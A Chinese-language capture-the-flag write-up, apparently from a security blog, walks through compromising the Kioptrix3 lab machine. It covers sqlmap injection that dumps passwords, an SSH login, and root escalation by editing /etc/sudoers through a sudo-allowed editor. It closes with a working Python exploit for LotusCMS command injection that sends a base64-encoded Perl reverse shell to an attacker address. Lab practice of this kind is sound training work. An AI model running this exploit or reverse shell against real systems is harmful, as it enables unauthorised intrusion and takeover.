品味人生系列-[每日一靶机]:Kioptrix3
2022-12-15 00:2:27 Author: 猫因的安全(查看原文) 阅读量:9 收藏

每日一靶机-Kioptrix3

靶机:192.168.10.137

靶机:192.168.10.133

以练带学,补充细节,直击痛点,补救遗忘。

IcMl0x824

咳咳,有Goby+Xray高级版不用,非要用rustscan+nmap,耶耶要的就是情怀!

echo "192.168.10.137 kioptrix3.com" >> /etc/hosts

淦信息

可以可以,这个粉色爪子是 lotusCMS

淦漏扫

简单粗暴,但是效果不是很好。

淦自己

毫无意外,如果今天你只依靠单向的信息,你就无法赢得更多

http://192.168.10.137/phpmyadmin/index.php

并不是很想从这里下手,虽然有EXP这个可以利用,但是不一定成功。

web狗就要有web日进去的觉悟,ok?

把能点的都点一遍,我相信能更多的胜过工具的,虽然这样很累。

淦漏洞

命令注入

http://192.168.10.137/index.php?page=index

实际上我们看到了,这里的page参数,实际是可控的

这三个页面分别有一个page参数和system参数,没有过多的手工测试,看Xray的结果

http://192.168.10.137/index.php?page=index'-var_dump(md5(207520396))-'

个人感觉作用不很大,测试了多条语句后其实没啥卵用,可能是某块代码写的不严罢了。

其实可以在system这几个参数多测测,可能存在包含漏洞啊,注入之类的。

SQL注入

跳转到这时,我觉得就有SQL注入呢味儿了,找找看

看到这个页面,不淡定了。发现这里可以进行排序,我那片关于SQL注入的文章不就是说,有关能排序的地方应该改要多家考虑,呵呵。其实他也是参数可控对吧。

还等什么呢,丢到sqlmap里跑起!

sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos" -p id --batch -T 'gallery' --current-db

sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos" -p id --batch -T 'gallery' --tables

sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos" -p id --batch -T 'gallery' -T gallarific_users --columns

sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos" -p id --batch -T 'gallery' -T gallarific_users -C username,password --dump
+----------+----------+
| username | password |
+----------+----------+
| admin   | n0t7t1k4 |
+----------+----------+
| 1 | dreg       | 0d3eccfb887aabd50f243b3f155c0f85 (Mast3r)   |
| 2 | loneferret | 5badcaf789d3d1d09794d8f021f40f0e (starwars) |

跑出来了几个账号组合,测试了一下,不能登录 web,其实你把所有表的信息都跑出来,自然就登上了。

之前不是还扫出了 SSH吗,试了下登录成功,2个都可以登录

按照这种靶机的尿性,只要开SSH,随便爆出的密码多半就能用,后台你别想进。

淦提权

┌──(root💀kali)-[~]
└─# ssh [email protected]                
Unable to negotiate with 192.168.10.137 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss

笑了,连不上就不连了

换个地方连

因为dreg 账号实在是没什么可利用的,看下loneferret 账号下有一些利用的点

存在sudo命令

[email protected]:~$ sudo -l
User loneferret may run the following commands on this host:
  (root) NOPASSWD: !/usr/bin/su
  (root) NOPASSWD: /usr/local/bin/ht

好家伙,一些提权漏洞基本用不了,666

(root) NOPASSWD: /usr/local/bin/ht

ht编辑器被分配root权限。

如果编辑/etc/sudoers,在里面给lone这个用户加权限

可以直接拿root的shell了

直接运行

发现是个编辑器,那么就可以尝试编辑修改 /etc/sudoers 文件

alt + f 进去,下键到打开

输入etc/sudoers

sudo的权限控制可以在/etc/sudoers文件中查看到

嘿嘿嘿

只需要把下面这个用户改成和上面一样就ok

然后

F10 退出,Y保存,提权成功

他妈的最恶心的就是这个编辑器,不知道怎么操作,你妈的。

淦结语

基本就是web应用层漏洞钻进来,然后 sudoers提权,其实能利用的地方挺多的,之前可以从phpmyadmin下手,也可以直接msf搜cms的洞去拿shell,也可以用sqlmap上去搞,传马子,都可以,基本只要拿到密码就可以了,ssh登陆提权还是有迹可循。提权也不至于就这一种第三方应用提权的法子,需要多用别的工具看看有没有现成的exp了。

不连NC没有灵魂

from requests import get
import re
import random
from urllib import parse
import base64
import threading

# 生成随机码
def gen_string():
   key = ""
   for i in range(10):
       key += chr(random.randint(65,90))
   return key

# 检查漏洞是否存在
def check(target):
   if "http" not in target:
       target = "http" + target
   result = get(target)
   find = re.search(r'<a.*href=[\'|"](/*index.php)\?.*(page=\w+)[\'|"].*>',result.text)
   if find is None:
       print("[*] INFO: Not fond vulnerability.")
       return 0
   key = gen_string()
   target += "index.php?page=index');"+parse.quote("echo '"+key+"';//")
   res = get(target)
   if key in res.text:
       print("[!] INFO: Find vul!!!")
       return True
   print("[*] INFO: Not fond vulnerability.")
   return 0

def exp(target,host,port):
   poc =  """perl -e 'use Socket;$i="%s";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'""" %(host,port)
   poc = base64.b64encode(poc.encode('utf-8'))
   target += "index.php?page=index');"+parse.quote("system(base64_decode(%s));//" %poc)
   print("[~] Confirm: please run 'nc -lvp %s' on your client" %port)
   input("\t|--- Please enter any key to start!")
   threading.Thread(target=get, args=(target,)).start()
   print("[?] INFO: Get shell?")
   print("[!] INFO: If the attack is successful,The thread is being requested to suspend……")
   exit(0)

# target : please input target
# host : please input lhost
# port : please input lport
target = "http://192.168.10.137/"
host = "192.168.10.133"
port = "4444"

if check(target):
   exp(target, host, port)

接下来一样的


文章来源: http://mp.weixin.qq.com/s?__biz=Mzk0NjMyNDcxMg==&mid=2247497682&idx=1&sn=4eb3347817c049c97b158bdc24c41602&chksm=c3056255f472eb431e4df769e5343f8e0eb538edfde2b67e3f0f65be06b00f0d6a4db1e36200#rd
如有侵权请联系:admin#unsafe.sh